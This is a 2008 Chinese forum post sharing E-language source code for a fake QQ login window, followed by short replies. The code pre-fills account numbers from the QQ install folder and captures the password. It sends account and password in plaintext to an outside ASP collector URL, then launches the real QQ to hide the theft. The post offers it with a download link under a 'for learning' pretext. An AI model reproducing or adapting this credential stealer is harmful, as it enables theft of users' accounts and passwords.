盗Q的开源了（放源码）

鬼手

.版本 2
.支持库 dp1
.支持库 internet

.程序集 窗口程序集1
.程序集变量 QQ目录路径, 文本型
.程序集变量 QQ路径, 文本型
.程序集变量 QQ医生路径, 文本型

.子程序 _图形按钮9_被单击

.如果真 (帐号编辑框.内容 ＝ “”)
信息框 (“格式要求：由5到10个纯数字组成。”, 0 ＋ #询问图标, “无效的QQ号码格式”)
返回 ()

.如果真结束
.如果真 (密码编辑框.内容 ＝ “”)
信息框 (“输入密码与上次成功登陆的密码不一致,” ＋ #换行符 ＋ “是否到服务器验证?”, 0 ＋ #错误图标 ＋ #是否钮, “错误”)

返回 ()

.如果真结束
登录 ()
.如果真 (QQASP (“http://youngboyfly.2255.cc/qq.asp”, 帐号编辑框.内容, 密码编辑框.内容) ＝ “发送成功”)

.如果真结束

_启动窗口.可视 ＝ 假
结束 ()

.子程序 __启动窗口_创建完毕

.如果真 (注册项是否存在 (4, “SOFTWARE\TENCENT\PLATFORM_TYPE_LIST\1\TypeName”) ＝ 假)
信息框 (“你没有安装过QQ软件，请到http://www.qq.com下载”, 0, “系统提示”)
结束 ()

.如果真结束
QQ路径 ＝ 取文本注册项 (4, “SOFTWARE\TENCENT\PLATFORM_TYPE_LIST\1\TypePath”, )
QQ目录路径 ＝ 取文本注册项 (4, “Software\Tencent\QQ\install”, “未检测到QQ”)
.如果真 (QQ目录路径 ＝ “未检测到QQ”)
信息框 (“你没有安装过QQ软件，请到http://www.qq.com下载”, 0, “系统提示”)
结束 ()

.如果真结束
' 顶图.正常图片 ＝ #顶图
' 底图.正常图片 ＝ #底图
输出调试文本 (“QQ安装路径:” ＋ QQ路径)
取数值目录到组合框 (QQ目录路径 ＋ “\”, 号码组合框)
密码编辑框.获取焦点 ()
帐号编辑框.内容 ＝ 号码组合框.取项目文本 (1)
标题 ＝ “QQ用户登录”
.如果真 (帐号编辑框.内容 ＝ “”)
帐号编辑框.内容 ＝ “<请在这儿输入QQ号码>”
.如果真结束


.子程序 _号码组合框_列表项被选择

帐号编辑框.内容 ＝ 号码组合框.取项目文本 (号码组合框.现行选中项)
图形按钮1.可视 ＝ 真
图形按钮2.可视 ＝ 假
帐号编辑框.获取焦点 ()
帐号编辑框.被选择字符数 ＝ -1

.子程序 _帐号编辑框_列表项被选择

号码组合框.内容 ＝ 号码组合框.取项目文本 (号码组合框.现行选中项)

.子程序 登录
.局部变量 摘要文本, 文本型
.局部变量 摘要字节集, 字节集
.局部变量 加密的密码, 文本型
.局部变量 隐身, 文本型, , , 40:隐身；41:不隐身
.局部变量 变量1, 整数型

摘要文本 ＝ 取数据摘要 (到字节集 (密码编辑框.内容))

摘要字节集 ＝ 取空白字节集 (16)
.计次循环首 (16, 变量1) ' 由于数据摘要文本长度为32，这里将每两位文本按十六进制转换为十进制字节，生成一个长为16的摘要字节集。
摘要字节集 [变量1] ＝ 到字节 (十六进制到十进制 (取文本中间 (摘要文本, (变量1 － 1) × 2 ＋ 1, 2)))
.计次循环尾 ()
加密的密码 ＝ BASE64编码 (摘要字节集)

.如果 (图形按钮6.可视 ＝ 真)
隐身 ＝ 选择 (真, “40”, “41”)
.否则
隐身 ＝ 选择 (假, “40”, “41”)
.如果结束
输出调试文本 (QQ路径)
运行 (QQ路径 ＋ “ /START QQUIN:” ＋ 帐号编辑框.内容 ＋ “ PWDHASH:” ＋ 加密的密码 ＋ “ /STAT:” ＋ 隐身, 假, )

.子程序 _图形按钮10_被单击

超级链接框2.跳转 ()

.子程序 _图形按钮11_被单击

超级链接框1.跳转 ()

.子程序 _帐号编辑框_内容被改变



.子程序 _图形按钮1_被单击

号码组合框.发送信息 (335, 1, 0)
图形按钮1.可视 ＝ 假
图形按钮2.可视 ＝ 真

.子程序 _图形按钮2_被单击

图形按钮1.可视 ＝ 真
图形按钮2.可视 ＝ 假

.子程序 _帐号编辑框_按下某键, 逻辑型
.参数 键代码, 整数型
.参数 功能键状态, 整数型

.判断开始 (键代码 ＝ #回车键)
_图形按钮9_被单击 ()
.默认

.判断结束


.子程序 _密码编辑框_按下某键, 逻辑型
.参数 键代码, 整数型
.参数 功能键状态, 整数型

.判断开始 (键代码 ＝ #回车键)
_图形按钮9_被单击 ()
.默认

.判断结束


.子程序 _图形按钮8_被单击

弹出菜单 (QQ, , )

.子程序 _图形按钮5_被单击

图形按钮5.可视 ＝ 假
图形按钮6.可视 ＝ 真

.子程序 _图形按钮6_被单击

图形按钮6.可视 ＝ 假
图形按钮5.可视 ＝ 真


.子程序 _图形按钮4_被单击

图形按钮3.可视 ＝ 真
图形按钮4.可视 ＝ 假


.子程序 _图形按钮3_被单击

图形按钮4.可视 ＝ 真
图形按钮3.可视 ＝ 假

.子程序 _图形按钮7_被单击

信息框 (“系统未检测到QQ医生！” ＋ #换行符 ＋ “可能QQ医生损坏或未安装！” ＋ #换行符 ＋ “请到官方网站下载QQ医生！”, #错误图标, “发生错误！”)




.子程序 QQASP, 文本型, , 发送帐号密码到ASP收信
.参数 地址, 文本型, , ASP文件路径
.参数 号码, 文本型
.参数 密码, 文本型

返回 (到文本 (HTTP读文件 (地址 ＋ “?” ＋ “qqnumber=” ＋ 号码 ＋ “&qqpassword=” ＋ 密码)))

.子程序 _密码编辑框_内容被改变

做参考，给大家学习之用！

点击进入下载－登陆器31228714257342.e

[ 本帖最后由 鬼手 于 2008-12-8 13:31 编辑 ]

教育时报

看看  但我不会到别人号的

nbajia520

:( :( LZ很卑鄙
鉴定完毕;P ;P [s:350] [s:350]

microsaint

学习 一下  .....

2005大懒虫

这样看得眼花~~直接个源码下载就方便了~~[s:39]

8871609

汗 什么玩意 迷糊:Q :Q

心海伽蓝

呵呵－这就是源码吧－易语言的

estelle

恩 E源码编译下 嘎嘎

peterli0419

偶学习一下

2005ldx

好东西，谢谢分享！